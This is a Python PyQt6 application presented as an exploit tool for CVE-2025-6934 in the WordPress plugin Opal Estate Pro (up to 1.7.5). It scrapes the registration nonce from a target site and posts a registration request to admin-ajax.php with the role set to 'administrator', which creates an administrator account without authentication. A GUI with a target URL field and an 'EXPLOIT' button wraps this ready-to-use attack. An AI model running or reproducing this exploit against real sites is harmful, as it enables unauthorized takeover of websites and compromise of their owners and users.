#!/usr/bin/env python3 """ CVE-2025-6934 Exploit GUI - PyQt6 Application Created and developed fully by mejbankadir (SMH tech and Mejban HackSheild Under NexoAmicus) """ import sys import requests import re import json from urllib.parse import urljoin from bs4 import BeautifulSoup from PyQt6.QtWidgets import ( QApplication, QMainWindow, QWidget, QVBoxLayout, QHBoxLayout, QLabel, QLineEdit, QPushButton, QTextEdit, QGroupBox, QMessageBox, QFrame ) from PyQt6.QtCore import QThread, pyqtSignal, Qt from PyQt6.QtGui import QFont, QColor, QTextCharFormat, QTextCursor # Disable SSL warnings requests.packages.urllib3.disable_warnings() HEADERS = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } class ExploitThread(QThread): """Background thread for exploit execution""" log_signal = pyqtSignal(str, str) # message, color finished_signal = pyqtSignal(bool, str) # success, message def __init__(self, base_url, email, password, username): super().__init__() self.base_url = base_url self.email = email self.password = password self.username = username def run(self): try: self.log_signal.emit("[•] Starting Exploit Attempt...", "cyan") # Get nonce nonce = self.get_nonce() if not nonce: self.log_signal.emit("[✖] Failed to retrieve nonce", "red") self.finished_signal.emit(False, "Failed to retrieve nonce") return self.log_signal.emit(f"[•] Nonce Found: {nonce}", "cyan") # Execute exploit target = urljoin(self.base_url, "/wp-admin/admin-ajax.php") data = { "username": self.username, "email": self.email, "password": self.password, "password1": self.password, "role": "administrator", "confirmed_register": "on", "opalestate-register-nonce": nonce, "_wp_http_referer": "/", "ajax": "1", "action": "opalestate_register_form" } self.log_signal.emit(f"[•] Sending exploit to {target}...", "cyan") response = requests.post(target, data=data, verify=False, headers=HEADERS) self.log_signal.emit(f"[i] HTTP Status: {response.status_code}", "yellow") try: result = response.json() if result.get("status") is True: self.log_signal.emit("\n" + "=" * 30, "green") self.log_signal.emit("[✔] Exploit Successful!", "green") self.log_signal.emit(f" Username : {self.username}", "cyan") self.log_signal.emit(f" Email : {self.email}", "cyan") self.log_signal.emit(f" Password : {self.password}", "cyan") self.log_signal.emit(f" Role : administrator", "cyan") self.log_signal.emit("=" * 30 + "\n", "green") self.finished_signal.emit(True, "Exploit successful!") else: self.log_signal.emit("[✖] Exploit Failed!", "red") message = result.get("message", "") clean_msg = BeautifulSoup(message, "html.parser").get_text().strip() self.log_signal.emit(f"[i] Reason: {clean_msg}", "yellow") self.finished_signal.emit(False, clean_msg) except json.JSONDecodeError: self.log_signal.emit("[✖] Unexpected response (non-JSON):", "red") self.log_signal.emit(response.text, "red") self.finished_signal.emit(False, "Unexpected response") except Exception as e: self.log_signal.emit(f"[✖] Exploit Error: {e}", "red") self.finished_signal.emit(False, str(e)) self.log_signal.emit( "Exploit Complete — Created and developed fully by mejbankadir (SMH tech and Mejban HackSheild Under NexoAmicus)", "magenta" ) def get_nonce(self): try: response = requests.get(self.base_url, verify=False, timeout=10, headers=HEADERS) soup = BeautifulSoup(response.text, "html.parser") input_tag = soup.find("input", {"name": "opalestate-register-nonce"}) return input_tag.get("value") if input_tag else None except Exception: return None class CVE20256934GUI(QMainWindow): """Main GUI Window for CVE-2025-6934 Exploit""" def __init__(self): super().__init__() self.exploit_thread = None self.init_ui() def init_ui(self): self.setWindowTitle("CVE-2025-6934 Exploit GUI") self.setGeometry(100, 100, 900, 700) self.setStyleSheet(""" QMainWindow { background-color: #1a1a2e; } QGroupBox { color: #00d9ff; border: 2px solid #00d9ff; border-radius: 8px; margin-top: 10px; font-weight: bold; padding-top: 10px; } QGroupBox::title { subcontrol-origin: margin; subcontrol-position: top center; padding: 0 5px; } QLabel { color: #ffffff; font-size: 12px; } QLineEdit { background-color: #16213e; color: #00d9ff; border: 1px solid #0f3460; border-radius: 4px; padding: 8px; font-size: 12px; } QLineEdit:focus { border: 1px solid #00d9ff; } QPushButton { background-color: #0f3460; color: #00d9ff; border: 1px solid #00d9ff; border-radius: 6px; padding: 12px 24px; font-size: 14px; font-weight: bold; } QPushButton:hover { background-color: #00d9ff; color: #1a1a2e; } QPushButton:pressed { background-color: #0099cc; } QPushButton:disabled { background-color: #333; color: #666; border-color: #666; } QTextEdit { background-color: #0a0a14; color: #00ff88; border: 1px solid #0f3460; border-radius: 4px; font-family: 'Courier New', monospace; font-size: 11px; } """) # Central widget central_widget = QWidget() self.setCentralWidget(central_widget) main_layout = QVBoxLayout(central_widget) main_layout.setContentsMargins(20, 20, 20, 20) main_layout.setSpacing(15) # Banner banner_label = QLabel(self.get_banner()) banner_label.setStyleSheet(""" color: #00d9ff; font-family: 'Courier New', monospace; font-size: 10px; padding: 10px; background-color: #0a0a14; border-radius: 5px; """) main_layout.addWidget(banner_label) # Title and credits title_label = QLabel("CVE-2025-6934 Exploit PoC") title_label.setStyleSheet(""" color: #ffff00; font-size: 18px; font-weight: bold; padding: 10px; """) title_label.setAlignment(Qt.AlignmentFlag.AlignCenter) main_layout.addWidget(title_label) credits_label = QLabel("Created and developed fully by mejbankadir\n(SMH tech and Mejban HackSheild Under NexoAmicus)") credits_label.setStyleSheet(""" color: #00ff00; font-size: 12px; padding: 5px; """) credits_label.setAlignment(Qt.AlignmentFlag.AlignCenter) main_layout.addWidget(credits_label) # Description desc_label = QLabel("Unauthenticated Administrator Account Creation\nWordPress Plugin: Opal Estate Pro <= 1.7.5") desc_label.setStyleSheet(""" color: #ff6b6b; font-size: 11px; padding: 5px; """) desc_label.setAlignment(Qt.AlignmentFlag.AlignCenter) main_layout.addWidget(desc_label) # Input Group input_group = QGroupBox("Exploit Configuration") input_layout = QVBoxLayout() # Target URL url_layout = QHBoxLayout() url_label = QLabel("Target URL:") url_label.setFixedWidth(120) self.url_input = QLineEdit() self.url_input.setPlaceholderText("http://site.com/path/") url_layout.addWidget(url_label) url_layout.addWidget(self.url_input) input_layout.addLayout(url_layout) # Email email_layout = QHBoxLayout() email_label = QLabel("Email:") email_label.setFixedWidth(120) self.email_input = QLineEdit() self.email_input.setPlaceholderText("admin@example.com") email_layout.addWidget(email_label) email_layout.addWidget(self.email_input) input_layout.addLayout(email_layout) # Password password_layout = QHBoxLayout() password_label = QLabel("Password:") password_label.setFixedWidth(120) self.password_input = QLineEdit() self.password_input.setPlaceholderText("Password123") self.password_input.setEchoMode(QLineEdit.EchoMode.Password) password_layout.addWidget(password_label) password_layout.addWidget(self.password_input) input_layout.addLayout(password_layout) # Username username_layout = QHBoxLayout() username_label = QLabel("Username:") username_label.setFixedWidth(120) self.username_input = QLineEdit() self.username_input.setPlaceholderText("mejbankadir") self.username_input.setText("mejbankadir") username_layout.addWidget(username_label) username_layout.addWidget(self.username_input) input_layout.addLayout(username_layout) # Exploit Button self.exploit_btn = QPushButton("🚀 EXPLOIT") self.exploit_btn.setFixedHeight(45) self.exploit_btn.clicked.connect(self.run_exploit) input_layout.addWidget(self.exploit_btn) input_group.setLayout(input_layout) main_layout.addWidget(input_group) # Output Console output_group = QGroupBox("Console Output") output_layout = QVBoxLayout() self.console = QTextEdit() self.console.setReadOnly(True) output_layout.addWidget(self.console) output_group.setLayout(output_layout) main_layout.addWidget(output_group) # Status Bar self.statusBar().showMessage("Ready - Created and developed by mejbankadir") def get_banner(self): return r""" _____________ _______________ _______________ ________ .________ ________________________ _____ \_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \ | ____/ / _____/ __ \_____ \ / | | / \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ |____ \ ______ / __ \\____ / _(__ < / | |_ \ \____\ / | \ /_____/ / \ \_/ \/ \ / \ /_____/ \ |__\ \ / / / \/ ^ / \______ / \___/ /_______ / \_______ \_____ /\_______ \/______ / \_____ / /____/ /______ /\____ | \/ \/ \/ \/ \/ \/ \/ \/ |__| """ def append_log(self, message, color="white"): """Append message to console with color""" color_map = { "red": "#ff4444", "green": "#00ff88", "yellow": "#ffff00", "cyan": "#00d9ff", "magenta": "#ff00ff", "white": "#ffffff" } cursor = self.console.textCursor() cursor.movePosition(QTextCursor.MoveOperation.End) fmt = QTextCharFormat() fmt.setForeground(QColor(color_map.get(color, "#ffffff"))) cursor.setCharFormat(fmt) cursor.insertText(message + "\n") self.console.setTextCursor(cursor) self.console.ensureCursorVisible() def run_exploit(self): """Execute exploit button handler""" url = self.url_input.text().strip() email = self.email_input.text().strip() password = self.password_input.text().strip() username = self.username_input.text().strip() # Validation if not url: QMessageBox.warning(self, "Validation Error", "Please enter a target URL") return if not url.startswith(("http://", "https://")): QMessageBox.warning(self, "Validation Error", "URL must start with http:// or https://") return if not email: QMessageBox.warning(self, "Validation Error", "Please enter an email address") return if not password: QMessageBox.warning(self, "Validation Error", "Please enter a password") return if not username: QMessageBox.warning(self, "Validation Error", "Please enter a username") return # Clear console and disable button self.console.clear() self.exploit_btn.setEnabled(False) self.append_log("=" * 50, "cyan") self.append_log("CVE-2025-6934 Exploit - Starting...", "cyan") self.append_log("Created and developed by mejbankadir", "green") self.append_log("=" * 50, "cyan") self.append_log(f"[i] Target URL: {url}", "yellow") self.append_log(f"[i] Username: {username}", "yellow") self.append_log(f"[i] Email: {email}", "yellow") self.append_log(f"[i] Password: {password}", "yellow") self.append_log("", "white") # Start exploit thread self.exploit_thread = ExploitThread(url, email, password, username) self.exploit_thread.log_signal.connect(self.append_log) self.exploit_thread.finished_signal.connect(self.exploit_finished) self.exploit_thread.start() def exploit_finished(self, success, message): """Handle exploit completion""" self.exploit_btn.setEnabled(True) if success: self.statusBar().showMessage("Exploit Successful!", 5000) else: self.statusBar().showMessage(f"Exploit Failed: {message}", 5000) def main(): app = QApplication(sys.argv) window = CVE20256934GUI() window.show() sys.exit(app.exec()) if __name__ == "__main__": main()